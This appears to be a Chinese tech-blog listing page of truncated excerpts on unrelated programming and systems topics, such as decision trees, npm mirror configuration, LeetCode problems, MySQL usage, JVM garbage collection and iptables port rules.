【机器学习：二十六、决策树】 KeyPan 机器学习机器学习决策树人工智能算法深度学习数据挖掘
1.决策树概述决策树是一种基于树状结构的监督学习算法，既可以用于分类任务，也可以用于回归任务。其主要通过递归地将数据划分为子集，从而生成一个具有条件结构的树模型。核心概念节点（Node）：每个节点表示一个特定的决策条件。根节点（RootNode）：树的起点，包含所有样本。分支（Branch）：每个分支代表一个条件划分的结果。叶节点（LeafNode）：终止节点，表示最终的决策结果。优点直观可解释：
当使用 npm 时，出现 `certificate has expired` 错误通常意味着请求的证书已过期。程序员WANG 工具 npm 前端 node.js
当使用npm时，出现certificatehasexpired错误通常意味着请求的证书已过期。这可能是由于以下几种情况：网络代理问题：如果使用了网络代理，代理服务器的证书可能过期或配置有误。系统时间错误：系统时间不准确可能导致证书验证失败，因为证书的有效期是基于时间的。远程服务器证书问题：https://registry.npm.taobao.org/@vue%2fcli的证书可能在服务器端过期或
Elasticsearch 中的节点（比如共 20 个），其中的10 个选了一个 master，另外 10 个选了另一个 master，怎么办？思维导图代码示例（java 架构) 用心去追梦 elasticsearch java 架构
在Elasticsearch中，如果出现集群分裂（Split-brain）的情况，即一部分节点选举了一个Master节点，而另一部分节点选举了另一个Master节点，这会导致数据不一致和集群不可用。Elasticsearch通过配置discovery.seed_hosts和cluster.initial_master_nodes参数来避免这种情况，并确保有足够的节点参与选举以达成共识。为了防止Sp
[cg] UE5 调试技巧 DXT00 ue5
UE中rhi命令的提交是在render线程，而graphicsapi真正的执行是在rhi线程，今天想看下rhi的底层调用，但由于是通过task执行的，无法获取到renderthread传入的地方，调试起来不太方便。可通过开启下面的命令来调试1.让RDG进入立即执行模式：;Uncommenttogetrendergraphexecutingpassesastheygetcreatedtoeasily
NPM：切换国内镜像源 Monly21 JS npm 前端 node.js
一、查看现在的镜像源通常默认官方源是https://registry.npmjs.orgnpmconfiggetregistry二、切换镜像源//切换淘宝源npmconfigsetregistryhttps://registry.npm.taobao.org//切换腾讯源npmconfigsetregistryhttp://mirrors.cloud.tencent.com/npm///切换阿里云
iOS 性能优化：实战案例分享忆江南的博客 ios
摘要：本文将深入探讨iOS性能优化的重要性，并通过一系列实际开发案例，展示如何解决常见的性能问题，包括内存管理、CPU性能、网络性能、UI性能和启动性能等方面的优化，帮助iOS开发者打造更流畅、高效的应用程序。一、引言在当今竞争激烈的移动应用市场中，性能优化对于iOS应用的成功至关重要。用户期望应用程序能够快速启动、流畅运行，并且不会出现卡顿或崩溃的情况。然而，随着应用功能的增加和复杂性的提升，性
差分进化算法(Differential evolution,DE)(附详细注释的Python代码) XijueJa 算法 python 开发语言
概念与基本原理差分进化算法（DifferentialEvolution，简称DE）是一种基于种群的随机优化算法，由Storm和Price在1995年提出。它主要应用于解决非线性、非凸、连续和离散的优化问题。DE算法以其简单性、鲁棒性和高效性而受到广泛关注。差分进化算法的基本思想是通过模拟自然进化过程中的遗传和变异机制来寻找问题的最优解，类似于遗传算法。通过变异、交叉与选择，使得初始化的种群不断朝最
fgets、scanf存字符串应用 malloc-free c语言
题目1夺旗（英语：Capturetheflag，简称CTF）在计算机安全中是一种活动，当中会将“旗子”秘密地埋藏于有目的的易受攻击的程序或网站。参赛者从其他参赛者或主办方偷去旗子。非常崇拜探姬的小学妹最近迷上了CTF，学长给了她一个压缩包，让她找到其中的flag并提交。她今天终于破解了压缩包的密码，但解压后她却发现，里面竟然有足足100个txt文件！她使用Ctrl+F大法搜索过后，发现了这些txt
总结处理输入字符串gets fgets scanf + 例题 malloc-free 算法字符串的输入
总结gets(str);gets遇到回车符时结束，也可以读入多行字符串（包含空格），比较方便，但是不安全。不会存入回车符，缓冲区中也不会遗留换行符。后面又要从键盘给字符变量赋值的话就不需要吸收回车清空缓冲区了fgets(str,10000,stdin);fgets函数可以直接读取含空格的字符串。遇到回车或EOF时结束，可以存入回车，也可以循环读入多行字符串。并且fgets函数可以指定读取的最大字符
http和https分别是什么？区别是什么？神明木佑 http https 网络协议
HTTP和HTTPS是两种常见的网络协议，用于在Web上进行数据传输。以下是它们的简要解释和主要区别：HTTP（HypertextTransferProtocol）HTTP是一种应用层协议，用于在Web上传输数据。它是互联网上应用最为广泛的一种网络协议，所有的WWW文件都必须遵守这个标准。HTTP协议通常承载于TCP协议之上，有时也承载于TLS或SSL协议层之上，这个时候，就成了我们常说的HTTP
力扣题59螺旋矩阵II xxyneymar 力扣矩阵 leetcode 线性代数
给你一个正整数n，生成一个包含1到n2所有元素，且元素按顺时针顺序螺旋排列的nxn正方形矩阵matrix。示例1：输入：n=3输出：[[1,2,3],[8,9,4],[7,6,5]]示例2：输入：n=1输出：[[1]]1.这道题的关键其实就是边界条件的选取，一圈当作一次循环。每一次循环后更新起始点。classSolution{publicint[][]generateMatrix(intn){in
python与mysql的交互（一） xiaoking32 Python python
python与mysql的交互（一）在mac上装mysqlpython操作mysql的步骤解析sql注入什么是sql注入？怎么防止？在mac上装mysql下载mysqlformac:https://dev.mysql.com/downloads/mysql/解压dmg文件，点击pkg文件进行安装Continue->Continue,Agree->Install->输入管理员密码->设置root用户
linux中网卡配置，两张网卡，分别用于内网和外网的通信橘橘子~ Linux linux
环境：centos7、VMware一、一张网卡实现内网通信（不能访问外网）：1.首先查看已有的网卡：[root@localhost~]#ipaddr我的默认网卡是ens332.VMware右下角打开设置第一张网卡ens33：3.选择VMnet14.打开真机的网络连接查看网段，我的为112网段：5.配置网卡文件：<
【LeetCode】215. 数组中的第K个最大元素（Java） m0_70234528 LeetCode 排序 leetcode 数据结构算法
目录题目描述思路1：sort排序思路2：优先队列JavaPriorityQueue创建PriorityQueue将元素插入PriorityQueue访问PriorityQueue元素删除PriorityQueue元素遍历PriorityQueuePriorityQueue其他方法PriorityQueue比较器(comparator)思路3：快速排序思路4：快速选择排序题目描述给定整数数组nums
生命周期函数——created、onload、mounted、updated的执行顺序编程星空前端 javascript vue.js
created和onload是非常重要的生命周期函数，涉及到组件初始化和数据绑定的顺序。created：（1）created是在Vue实例创建完成后立即被执行的。（2）在created中我们可以访问到组件的数据和方法，并进行一些初始化操作。此时的this指向VueComponent（其中包含所有的组件数据和方法）（3）通常我们会在created函数中发送请求获取数据，并将其存储在组件的data中。
基于深度学习的推荐系统构建：Movielens 数据集 fresh的转码之路深度学习人工智能机器学习推荐算法
基于深度学习的推荐系统构建：Movielens数据集依赖环境代码语言：python3.11.5开发平台：pycharmtensorflow版本：2.18.0MovieLen1M数据及简介MovieLens1M数据集包含包含6000个用户在近4000部电影上的100万条评分，也包括电影元数据信息和用户属性信息。下载地址为：http://files.grouplens.org/datasets/mov
网口工业相机丢包根因及排查方法爱兔子的萝卜海康工业相机相机数码相机
网口工业相机丢包根因及排查方法文章目录网口工业相机常由于网络波动影响导致图像出现横黑线、全黑情况，这种情况常被称为丢包，以下向大家介绍什么是“包”，“包”怎么丢的，如何判断丢包等。一、网口相机数据包协议介绍——丢包的根因UDP（UserDatagramProtocol）和TCP（TransmissionControlProtocol）是两种不同的网络传输协议，它们在数据传输的可靠性、速度和应用场景
力扣刷题之——旋转矩阵 say-input 矩阵 leetcode 算法
给你一幅由N×N矩阵表示的图像，其中每个像素的大小为4字节。请你设计一种算法，将图像旋转90度。不占用额外内存空间能否做到？示例1:给定matrix=[[1,2,3],[4,5,6],[7,8,9]],原地旋转输入矩阵，使其变为:[[7,4,1],[8,5,2],[9,6,3]]作者：力扣(LeetCode)链接：https://leetcode.cn/leetbook/read/array-an
Easysearch Rollup 使用指南数据库搜索引擎
背景在现代数据驱动的世界中，时序数据的处理变得越来越重要。无论是监控系统、日志分析，还是物联网设备的数据收集，时序数据都占据了大量的存储空间。随着时间的推移，这些数据的存储成本和管理复杂度也在不断增加。为了解决这一问题，Rollup技术应运而生。本文将带你深入了解Rollup的概念、优势以及如何在Easysearch中使用Rollup来优化时序数据的存储和查询。什么是Rollup？Rollup是一
如何从0开始写一个操作系统 c后端
本贴用来记录作者用c语言写一个操作系统，主要参考《操作系统真相还原》一书写的，同时也会对书里的代码和linux进行对比，尽量看一下现代操作系统中是如何实现的。原书的代码https://github.com/yifengyou/os-elephant/tree/master我会挑一些说说传统的操作系统课一般从内存，虚拟化等等方面讲起，因为是自己实现操作系统，肯定不能一上来就写开始写内存管理这种大活，
LoadRunner如何监控Linux系统资源
使用LoadRunner监控Linux系统资源的步骤详解LoadRunner是一个广泛使用的性能测试工具，支持对Web应用程序、服务器和整个基础设施进行负载测试。在监控Linux系统资源方面，LoadRunner通过集成监控代理（Agent）来收集并显示有关CPU、内存、磁盘等系统资源的详细信息。以下是通过LoadRunner监控Linux系统资源的详细步骤：1.安装LoadRunnerAgent
linux中启动rpc.rstat监控
在Linux中启动rpc.rstatd监控服务的步骤详解rpc.rstatd服务是一个用于收集远程主机性能统计信息的服务，常见于UNIX类系统中，通常与rpcbind一起工作，提供系统的CPU、内存、磁盘等资源的实时监控数据。在Linux系统中，启用并配置rpc.rstatd服务可以帮助管理员实时获取系统的性能信息，便于后续的监控和分析。接下来，将详细介绍如何在Linux中启动并配置rpc.rst
《深入理解Mybatis原理》MyBatis的sqlSession执行流程后端javamybatis
sqlSessionFactory与SqlSession正如其名，Sqlsession对应着一次数据库会话。由于数据库会话不是永久的，因此Sqlsession的生命周期也不应该是永久的，相反，在你每次访问数据库时都需要创建它（当然并不是说在Sqlsession里只能执行一次sql，你可以执行多次，当一旦关闭了Sqlsession就需要重新创建它）。那么咱们就先看看是怎么获取SqlSession的吧
大模型系列-GPT算法樨潮人工智能
https://blog.csdn.net/None_Pan/article/details/106392965
【GaussDB】数据库日常维护戒掉贪嗔痴(薛双奇) 国产数据库-GaussDB gaussdb
1.检查实例状态[omm@gauss001~]$cm_ctlquery-Cv[CMServerState]nodeinstancestate---------------------------------1192.168.0.1421Primary[ClusterState]cluster_state:Normalredistributing:Nobalanced:Yescurrent_az:A
PyMySQL 详解一只猪皮怪5 SQL 数据库 mysql python
PyMySQL是一个纯Python实现的MySQL客户端操作库，支持事务、存储过程、批量执行等。PyMySQL遵循Python数据库APIv2.0规范，并包含了pure-PythonMySQL客户端库。安装pipinstallPyMySQL创建数据库连接importpymysqlconnection=pymysql.connect(host='localhost',port=3306,user='
leetcode 6058. 统计打字方案数java 奔跑的废柴 LeetCode leetcode java 动态规划
https://leetcode-cn.com/problems/count-number-of-texts/classSolution{//int[]buttons={0,0,3,3,3,3,3,4,3,4};longres=1;intmod=1000000007;long[][]dp;//dp[0]是3字符可能性的，dp[1]是4字符可能性的。dp[][i]表面长度为i的重复字符串的信息种类数
怎么样才能成为专业的程序员？ cocos2d-x小菜编程 PHP
如何要想成为一名专业的程序员？仅仅会写代码是不够的。从团队合作去解决问题到版本控制，你还得具备其他关键技能的工具包。当我们询问相关的专业开发人员，那些必备的关键技能都是什么的时候，下面是我们了解到的情况。关于如何学习代码，各种声音很多，然后很多人就被误导为成为专业开发人员懂得一门编程语言就够了？！呵呵，就像其他工作一样，光会一个技能那是远远不够的。如果你想要成为
java web开发高并发处理 BreakingBad java Web 并发开发处理高
java处理高并发高负载类网站中数据库的设计方法（java教程,java处理大量数据，java高负载数据）一：高并发高负载类网站关注点之数据库没错,首先是数据库,这是大多数应用所面临的首个SPOF。尤其是Web2.0的应用，数据库的响应是首先要解决的。一般来说MySQL是最常用的，可能最初是一个mysql主机，当数据增加到100万以上，那么，MySQL的效能急剧下降。常用的优化措施是M-S（
mysql批量更新 ekian mysql
mysql更新优化：一版的更新的话都是采用update set的方式，但是如果需要批量更新的话，只能for循环的执行更新。或者采用executeBatch的方式，执行更新。无论哪种方式，性能都不见得多好。三千多条的更新，需要3分多钟。查询了批量更新的优化，有说replace into的方式，即： replace into tableName(id,status) values
微软BI（3） 18289753290 微软BI SSIS
1) Q：该列违反了完整性约束错误；已获得 OLE DB 记录。源:“Microsoft SQL Server Native Client 11.0” Hresult: 0x80004005 说明:“不能将值 NULL 插入列 'FZCHID'，表 'JRB_EnterpriseCredit.dbo.QYFZCH'；列不允许有 Null 值。INSERT 失败。”。 A：一般这类问题的存在是
Java中的List g21121 java
List是一个有序的 collection（也称为序列）。此接口的用户可以对列表中每个元素的插入位置进行精确地控制。用户可以根据元素的整数索引（在列表中的位置）访问元素，并搜索列表中的元素。与 set 不同，列表通常允许重复
读书笔记永夜-极光读书笔记
1. K是一家加工厂,需要采购原材料,有A,B,C,D 4家供应商,其中A给出的价格最低,性价比最高,那么假如你是这家企业的采购经理,你会如何决策? 传统决策: A:100%订单 B,C,D:0% &nbs
centos 安装 Codeblocks 随便小屋 codeblocks
1.安装gcc,需要c和c++两部分,默认安装下,CentOS不安装编译器的,在终端输入以下命令即可yum install gccyum install gcc-c++ 2.安装gtk2-devel,因为默认已经安装了正式产品需要的支持库,但是没有安装开发所需要的文档.yum install gtk2* 3. 安装wxGTK yum search w
23种设计模式的形象比喻 aijuans 设计模式
1、ABSTRACT FACTORY—追MM少不了请吃饭了，麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西，虽然口味有所不同，但不管你带MM去麦当劳或肯德基，只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory 　　工厂模式：客户类和工厂类分开。消费者任何时候需要某种产品，只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时，工厂类也要做相应的修改。如：
开发管理 CheckLists aoyouzi 开发管理 CheckLists
开发管理 CheckLists(23) -使项目组度过完整的生命周期开发管理 CheckLists(22) -组织项目资源开发管理 CheckLists(21) -控制项目的范围开发管理 CheckLists(20) -项目利益相关者责任开发管理 CheckLists(19) -选择合适的团队成员开发管理 CheckLists(18) -敏捷开发 Scrum Master 工作开发管理 C
js实现切换百合不是茶 JavaScript 栏目切换
js主要功能之一就是实现页面的特效,窗体的切换可以减少页面的大小,被门户网站大量应用思路: 1,先将要显示的设置为display:bisible 否则设为none 2,设置栏目的id ,js获取栏目的id,如果id为Null就设置为显示 3,判断js获取的id名字;再设置是否显示代码实现: html代码: <di
周鸿祎在360新员工入职培训上的讲话 bijian1013 感悟项目管理人生职场
这篇文章也是最近偶尔看到的，考虑到原博客发布者可能将其删除等原因，也更方便个人查找，特将原文拷贝再发布的。“学东西是为自己的，不要整天以混的姿态来跟公司博弈，就算是混，我觉得你要是能在混的时间里，收获一些别的有利于人生发展的东西，也是不错的，看你怎么把握了”，看了之后，对这句话记忆犹新。 &
前端Web开发的页面效果 Bill_chen html Web Microsoft
1.IE6下png图片的透明显示： <img src="图片地址" border="0" style="Filter.Alpha(Opacity)=数值(100),style=数值(3)"/> 或在<head></head>间加一段JS代码让透明png图片正常显示。 2.<li>标
【JVM五】老年代垃圾回收：并发标记清理GC(CMS GC) bit1129 垃圾回收
CMS概述并发标记清理垃圾回收(Concurrent Mark and Sweep GC）算法的主要目标是在GC过程中，减少暂停用户线程的次数以及在不得不暂停用户线程的请夸功能，尽可能短的暂停用户线程的时间。这对于交互式应用，比如web应用来说，是非常重要的。 CMS垃圾回收针对新生代和老年代采用不同的策略。相比同吞吐量垃圾回收，它要复杂的多。吞吐量垃圾回收在执
Struts2技术总结白糖_ struts2
必备jar文件早在struts2.0.*的时候，struts2的必备jar包需要如下几个： commons-logging-*.jar Apache旗下commons项目的log日志包 freemarker-*.jar
Jquery easyui layout应用注意事项 bozch jquery 浏览器 easyui layout
在jquery easyui中提供了easyui-layout布局，他的布局比较局限，类似java中GUI的border布局。下面对其使用注意事项作简要介绍：如果在现有的工程中前台界面均应用了jquery easyui，那么在布局的时候最好应用jquery eaysui的layout布局，否则在表单页面（编辑、查看、添加等等）在不同的浏览器会出
java-拷贝特殊链表：有一个特殊的链表，其中每个节点不但有指向下一个节点的指针pNext，还有一个指向链表中任意节点的指针pRand，如何拷贝这个特殊链表？ bylijinnan java
public class CopySpecialLinkedList { /** * 题目：有一个特殊的链表，其中每个节点不但有指向下一个节点的指针pNext，还有一个指向链表中任意节点的指针pRand，如何拷贝这个特殊链表？拷贝pNext指针非常容易，所以题目的难点是如何拷贝pRand指针。假设原来链表为A1 -> A2 ->... -> An，新拷贝
color Chen.H JavaScript html css
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD>&nbs
[信息与战争]移动通讯与网络 comsci 网络
两个坚持:手机的电池必须可以取下来光纤不能够入户,只能够到楼宇建议大家找这本书看看:<&
oracle flashback query(闪回查询) daizj oracle flashback query flashback table
在Oracle 10g中，Flash back家族分为以下成员： Flashback Database Flashback Drop Flashback Table Flashback Query(分Flashback Query,Flashback Version Query，Flashback Transaction Query) 下面介绍一下Flashback Drop 和Flas
zeus持久层DAO单元测试 deng520159 单元测试
zeus代码测试正紧张进行中,但由于工作比较忙,但速度比较慢.现在已经完成读写分离单元测试了,现在把几种情况单元测试的例子发出来,希望有人能进出意见,让它走下去. 本文是zeus的dao单元测试: 1.单元测试直接上代码 package com.dengliang.zeus.webdemo.test; import org.junit.Test; import o
C语言学习三printf函数和scanf函数学习 dcj3sjt126com c printf scanf language
printf函数 /* 2013年3月10日20:42:32 地点：北京潘家园功能：目的：测试%x %X %#x %#X的用法 */ # include <stdio.h> int main(void) { printf("哈哈！\n"); // \n表示换行 int i = 10; printf
那你为什么小时候不好好读书? dcj3sjt126com life
dady, 我今天捡到了十块钱, 不过我还给那个人了 good girl! 那个人有没有和你讲thank you啊没有啦....他拉我的耳朵我才把钱还给他的, 他哪里会和我讲thank you 爸爸, 如果地上有一张5块一张10块你拿哪一张呢.... 当然是拿十块的咯... 爸爸你很笨的, 你不会两张都拿爸爸为什么上个月那个人来跟你讨钱, 你告诉他没
iptables开放端口 Fanyucai linux iptables 端口
1，找到配置文件 vi /etc/sysconfig/iptables 2，添加端口开放，增加一行，开放18081端口 -A INPUT -m state --state NEW -m tcp -p tcp --dport 18081 -j ACCEPT 3，保存 ESC :wq! 4，重启服务 service iptables
Ehcache（05）——缓存的查询 234390216 排序 ehcache 统计 query
缓存的查询目录 1. 使Cache可查询 1.1 基于Xml配置 1.2 基于代码的配置 2 指定可搜索的属性 2.1 可查询属性类型 2.2 &
通过hashset找到数组中重复的元素 jackyrong hashset
如何在hashset中快速找到重复的元素呢?方法很多，下面是其中一个办法： int[] array = {1,1,2,3,4,5,6,7,8,8}; Set<Integer> set = new HashSet<Integer>(); for(int i = 0
使用ajax和window.history.pushState无刷新改变页面内容和地址栏URL lanrikey history
后退时关闭当前页面 <script type="text/javascript"> jQuery(document).ready(function ($) { if (window.history && window.history.pushState) {
应用程序的通信成本 netkiller.github.com 虚拟机应用服务器陈景峰 netkiller neo
应用程序的通信成本什么是通信一个程序中两个以上功能相互传递信号或数据叫做通信。什么是成本这是是指时间成本与空间成本。时间就是传递数据所花费的时间。空间是指传递过程耗费容量大小。都有哪些通信方式全局变量线程间通信共享内存共享文件管道 Socket 硬件（串口，USB）等等全局变量全局变量是成本最低通信方法，通过设置
一维数组与二维数组的声明与定义恋洁e生二维数组一维数组定义声明初始化
/** * */ package test20111005; /** * @author FlyingFire * @date:2011-11-18 上午04:33:36 * @author ：代码整理 * @introduce :一维数组与二维数组的初始化 *summary： */ public c
Spring Mybatis独立事务配置 toknowme mybatis
在项目中有很多地方会使用到独立事务，下面以获取主键为例（1）修改配置文件spring-mybatis.xml  <tx:annotation-driven transaction-manager="transactionManager" /> &n
更新Anadroid SDK Tooks之后，Eclipse提示No update were found xp9802 eclipse
使用Android SDK Manager 更新了Anadroid SDK Tooks 之后，打开eclipse提示 This Android SDK requires Android Developer Toolkit version 23.0.0 or above, 点击Check for Updates 检测一会后提示 No update were found